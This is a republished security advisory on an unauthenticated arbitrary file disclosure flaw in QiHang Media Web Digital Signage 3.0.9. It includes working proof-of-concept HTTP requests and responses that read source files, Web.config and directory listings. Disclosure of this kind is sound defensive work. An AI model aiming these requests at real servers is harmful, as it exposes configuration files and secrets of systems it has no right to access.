QiHang Media Web Digital Signage 3.0.9 Arbitrary File Disclosure ≈ Packet Storm – Digitalmunition




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Published on August 13th, 2020 📆 | 5594 Views ⚑

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QiHang Media Web Digital Signage 3.0.9 Arbitrary File Disclosure ≈ Packet Storm

QiHang Media Web (QH.aspx) Digital Signage 3.0.9 Arbitrary File Disclosure Vulnerability

Vendor: Shenzhen Xingmeng Qihang Media Co., Ltd.
Guangzhou Hefeng Automation Technology Co., Ltd.
Product web page: http://www.howfor.com
Affected version: 3.0.9.0

Summary: Digital Signage Software.

Desc: The application suffers from an unauthenticated file disclosure
vulnerability when input passed thru the ‘filename’ parameter when
using the download action or thru ‘path’ parameter when using the
getAll action is not properly verified before being used. This can
be exploited to disclose contents of files and directories from local
resources.

Tested on: Microsoft Windows Server 2012 R2 Datacenter
Microsoft Windows Server 2003 Enterprise Edition
ASP.NET 4.0.30319
HowFor Web Server/5.6.0.0
Microsoft ASP.NET Web QiHang IIS Server

Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic
@zeroscience

Advisory ID: ZSL-2020-5581
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5581.php

27.07.2020

Source code disclosure PoC:
—————————

GET /QH.aspx?responderId=ResourceNewResponder&action=download&fileName=.%2fQH.aspx HTTP/1.1
Host: 192.168.1.74:8090
User-Agent: lfi_test.wrapper/2.9
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

HTTP/1.1 200 OK
Server: HowFor Web Server/5.6.0.0
Date: Sun, 26 Jul 2020 22:49:08 GMT
X-AspNet-Version: 4.0.30319
Content-Disposition: attachment;filename=QH.aspx
Set-Cookie: ASP.NET_SessionId=f0xji5cazmbzdygcr5g3qr03; path=/; HttpOnly
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: application/zip
Content-Length: 463
Connection: Close

< %@ Page Language="C#" ValidateRequest="false" AutoEventWireup="true" CodeBehind="QH.aspx.cs" Inherits="QiHang.Media.Web.QH" %>

< !DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">






Arbitrary file read:
——————–

http://192.168.1.74:8090/QH.aspx?responderId=ResourceNewResponder&action=download&fileName=.%2fGlobal.asax
http://192.168.1.74:8090/QH.aspx?responderId=ResourceNewResponder&action=view&fileName=.%2fWeb.config

Directory contents disclosure:
——————————

POST /QH.aspx HTTP/1.1
Host: 192.168.1.74:8090
Content-Length: 62
User-Agent: lfi_test.wrapper/2.9
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

responderId=ResourceNewResponder&action=getAll&path=&fileName=

HTTP/1.1 200 OK
Server: HowFor Web Server/5.6.0.0
Date: Tue, 28 Jul 2020 23:51:13 GMT
X-AspNet-Version: 4.0.30319
Set-Cookie: ASP.NET_SessionId=f0ac1jyifcacvufnpptduv1f; path=/; HttpOnly
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/html; charset=utf-8
Content-Length: 4680
Connection: Close

{
“first”: true,
“second”: [
{
“name”: “App_Data”,
“type”: “folder”,
“size”: 852992.0,
“uploadTime”: new Date(
1525316885250
),
“path”: “/App_Data”
},
{
“name”: “bin”,
“type”: “folder”,
“size”: 4398172.0,
“uploadTime”: new Date(
1525316885046
),


“name”: “xml”,
“type”: “folder”,
“size”: 25519.0,
“uploadTime”: new Date(
1525316885234
),
“path”: “/xml”
},
{
“name”: “default.htm”,
“type”: “.htm”,
“size”: 1609.0,
“uploadTime”: new Date(
1523859040000
),
“path”: “/default.htm”
},
{
“name”: “Global.asax”,
“type”: “.asax”,
“size”: 100.0,
“uploadTime”: new Date(
1523859032000
),
“path”: “/Global.asax”
},
{
“name”: “IIS.dll”,
“type”: “.dll”,
“size”: 40960.0,
“uploadTime”: new Date(
1523859036000
),


“path”: “/Media.Server.DeamonPlugin.Web.xml”
},
{
“name”: “preview.htm”,
“type”: “.htm”,
“size”: 947.0,
“uploadTime”: new Date(
1523859040000
),
“path”: “/preview.htm”
},
{
“name”: “QH.aspx”,
“type”: “.aspx”,
“size”: 463.0,
“uploadTime”: new Date(
1523859030000
),
“path”: “/QH.aspx”
},
{
“name”: “server.xml”,
“type”: “.xml”,
“size”: 206.0,
“uploadTime”: new Date(
1523859034000
),
“path”: “/server.xml”
},
{
“name”: “Web.config”,
“type”: “.config”,
“size”: 2470.0,
“uploadTime”: new Date(
1523859034000
),
“path”: “/Web.config”
}
],
“third”: 0
}

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